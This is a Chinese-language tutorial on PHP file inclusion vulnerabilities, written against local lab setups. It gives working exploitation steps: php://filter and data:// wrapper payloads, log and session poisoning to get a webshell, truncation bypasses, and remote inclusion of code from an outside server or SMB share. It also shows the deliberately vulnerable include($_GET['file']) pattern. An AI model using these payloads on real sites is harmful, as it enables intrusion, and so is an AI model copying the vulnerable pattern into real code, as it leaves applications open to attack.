一、简介
在程序员开发过程中,通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需在此编写,这种调用文件的过程一般被称为文件包含。
随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有
做合理的校检或者校检被绕过就造成了文件包含漏洞。
二、常见的文件包含函数
1 include() 当使用该函数包含文件时,只有代码执行到jinclude()函数时才将文件包含进来,发生错误时之给出一 个警告,然后继续向下执行。 2 include_once() 功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次 3 require() require()与include()的区别在于re(执行如果发生错误,函数会输出错误信息,并终止脚本的运 行。 4 require_once() 功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。 5 highlight_file() show_source() 函数对文件进行语法高亮显示,通常能看到源代码 6 readfile(),file_get_contents() 函数读取一个文件,并写入到输出缓冲 7 fopen() 打开一个文件或者url
三、文件包含漏洞分类
1. 本地文件包含漏洞
- 简介:当被包含的文件在服务器本地时,就形成了本地文件包含
- 示例:
<?php $file = $_GET['file']; include $file; ?>
- 利用方式:在寻找到服务器文件包含漏洞时,还需要探测出服务器的文件路径,可以通过文件上传漏洞将木马文件上传到服务器中,再利用文件包含漏洞执行木马文件。
2. 远程文件包含漏洞
- 简介:本地文件包含和远程文件包含造成漏洞的原因是一样的,当php.ini中的配置选项allow_url_fopen和allow_url_include为on的话,则包含的文件可以是第三方服务器中的文件,这样就形成了远程文件包含漏洞。
- 漏洞利用所需条件
# 需要的php.ini中开启以下配置 allow_url_fopen:on allow_url_include:on
四、漏洞利用方式-PHP伪协议
1. PHP伪协议
- 简介:PHP伪协议事实上就是PHP支持的协议与封装协议(PHP内置的协议)
file:// 访问本地文件系统 http:// 访问 HTTP(s) 网址 ftp:// 访问 FTP(s) URLs php:// 访问各个输入/输出流 zlib:// 压缩流 data:// 数据 glob:// 查找匹配的文件路径模式 phar:// PHP 归档 ssh2:// Secure Shell 2 rar:// RAR ogg:// 音频流 expect:// 处理交互式的流 ftp:// 访问ftp(s)URLs
2. file://包含
- 作用:用户访问本地文件系统,用于读取本地文件并且不会受到allow_url_fopen和allow_url_include的影响。
- 条件:
# 这两项配置为on或off都可以(无条件) allow_url_fopen:on/off allow_url_include:on/off
- 示例:
// 准备一个文件包含的php文件 // file.php <?php $file = $_GET["file"] include($file) ?>
// 上传文件 <?php echo("test"); ?>
3. php://包含
- 用法
- php://filter
- 条件
allow_url_fopen:on/off allow_url_include:on
- php://filter示例
// 读文件 // read:通过base64编码读取文件 // resource:文件路径 // 读到文件后需要通过base64解码 http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=test.php // 解码网站:https://base64.us/ // PD9waHANCmVjaG8oInRlc3QiKTsNCj8+ // 结果: <?php echo("test"); ?>
- php://input示例
// 访问路径 http://10.196.93.67/file.php?file=php://input // 通过post方法将php代码添加到请求中。
4. zip://包含或zlib://包含
- 作用:可以访问压缩文件中的子文件,重点是不需要制定后缀名,可任意修改后缀:jpg/png/gif等
- 条件:
# 这两项配置为on或off都可以(无条件) allow_url_fopen:on/off allow_url_include:on/off
- 示例
- 准备:一个php文件写好代码后,就后缀修改为jpg,并压缩
// url编码:%23=# // 地址:http://localhost/file.php?file=zip://D:/phpStudy/PHPTutorial/WWW/test.zip%23test.jpg
5. data://包含
- 作用:自PHP大于等于5.2.0后,可以使用data://数据流封装器,以传递相应格式的数据。执行php代码
- 条件:
# 两项都为on allow_url_fopen:on allow_url_include:on
- 用法:
/* base64 后面使用base加密方式 ,不需要加?> */ data://text/plain, data://text/plain;base64,
- 示例:
# url编码: %27=' %20=空格 %3C=< %3E=> http://localhost/file.php?file=data://text/plain,%3C?php%20echo(%27data%27);?%3E // 源: http://localhost/file.php?file=data://text/plain,<?php echo('data');?>
6. phar://包含
- 作用:和zip://功能类似,都是压缩包,可能存在版本问题
- 条件:
# 这两项配置为on或off都可以(无条件) allow_url_fopen:on/off allow_url_include:on/off
四、漏洞利用方式-通过日志getShell
训练靶场:https://download.vulnhub.com/dc/DC-5.zip
1. 简介
日志文件是用于记录系统操作事件的记录文件或文件集合,可分为事件日志和消息日志。具有处理历史数据,诊断问题的追踪以及理解系统的活动等重要作用。
2. 服务日志文件路径
服务 |
地址 |
Apache(window) |
Apache/logs |
Apache(kali) |
/var/log/apache2/error.log |
3. 利用方式
/* 当访问php网站时,通过输入恶意语句访问失败,网站将会把恶意语句记录到error日志文件中。 因为日志文件是存在于服务中的,所以拥有运行php的环境 */
4. 示例
// 访问日志路径 http://localhost/file.php?file=../Apache/logs/error.log
- 使用抓包工具构造错误的恶意代码
- 注意点:不建议直接在浏览器的URL栏上构造代码,因为会存在浏览器的URL栏会解析URL编码,导致构造失败。
蚁剑
url:http://10.196.93.67/file.php?file=../Apache/logs/error.log 密码:cmd
四、漏洞利用方式-通过session包含
1. 简介
session就是保存在服务器的文本文件。默认情况下,php.ini中设置的session保存方式是files(session.save_handler-files),即使用读写文件的方式保存session数据,而 session on文件保存的目录由session.save_path指定,文件名以 sess 为前缀,后跟 session id,如:
sess c72665af28a8b14c0fe11afe3b59b51b.文件中的数据即是序列化之后的session数据了
2. ssession路径
# phpsttdy: # D:\phpStudy 为phpStudy安装目录 D:\phpStudy\PHPTutorial\tmp\tmp
3. 利用条件
1 需要找到session文件路径(可以通过phpinfo函数、默认位置尝试) 2 其中部分内容可以控制(如将代码编写在注册或登录可能存session的地方)
4. 利用方式
// 和通过日志文件获取shell类似,在session文件中编写恶意代码,在通过文件包含,执行session文件。
5. 示例
- 准备模拟环境
# 创建session.php文件 <?php session_start(); $sess=$_GET['sess']; $_SESSION['cmd'] = $sess ?>
- 访问文件
url: http://localhost/session.php?sess=%3C?php%20phpinfo()?%3E # 源: http://localhost/session.php?sess=<?php phpinfo();?>
- 包含文件
url:http://localhost/file.php?file=../tmp/tmp/sess_c44a555a5d79d3ab49b1a9b6b358d8bc
五、文件包含限制绕过方式
1. 本地限制文件类型绕过
- 限制代码
# 只能包含html文件 <?php $file = $_GET['file']; include($file.".html") # 文件名以.html结尾 ?>
1.1. 绕过方式一
方式一:在上传是添加需要的文件后缀 例:本来文件为a.txt,上传时修改为a.txt.html 填写的url为:httpc
1.2. 绕过方式二
方式二:%00截断 利用特点:window特性 存在条件:magic_quotes_gpc=off ; PHP版本<5.3.4
1.3. 绕过方式三
方式三:路径长度截断(.或./) window路径长度最长为:256 例:localhost/file.php?file=a.txt/./././././././././ linux路径长度最长为:4096
2. 远程限制文件类型绕过
2.1. 绕过方式一
// 在文件后面添加问号或 %23 // localhost/file.php?file=http://www.varin.cn/a.txt?.html // 将.html 当做了参数 // 例如 localhost/file.php?file=http://www.varin.cn/a.txt? localhost/file.php?file=http://www.varin.cn/a.txt%23
3. 共享文件夹绕过
- 简介:
- 利用方式:
# 在公网的服务器上搭建一个匿名访问的共享文件夹访问: # 例: http://localhost/file.php?file=\\www.varin.cn\a.txt
- 扩展:
# samba 在kali上安装 apt install samba # 查看是否安装成功 samba -v
- 示例
# kali cd /var/www/html mkdir pub chmod 555 pub chown nobody:nogroup pub/ # 设置用户组 # 清空samba配置文件 echo >/etc/samba/smb.conf vim /etc/samba/smb.confi #添加以下配置
[global] workgroup= WORKGROUP serverstring = Samba Server %v netbiosname = indishell-lab security= user mapto guest = bad user nameresolve order = bcast host dnsproxy = no bindinterfaces only = yes [ica] path= /var/www/html/pub writable= no guestok = yes guestonly = yes readonly = yes directorymode = 0555
ervice smbd restart # 重启samba服务
# 在共享文件夹中准备恶意代码 echo '<?php phpinfo() ?>' > a.php
- 访问
五、文件包含特征
1. 黑盒测试
方法一:寻找网址是否存在以下参数: filename=xx.php include=xx.php 方法二:判断系统
2. 白盒测试
代码审计,看源码,找漏洞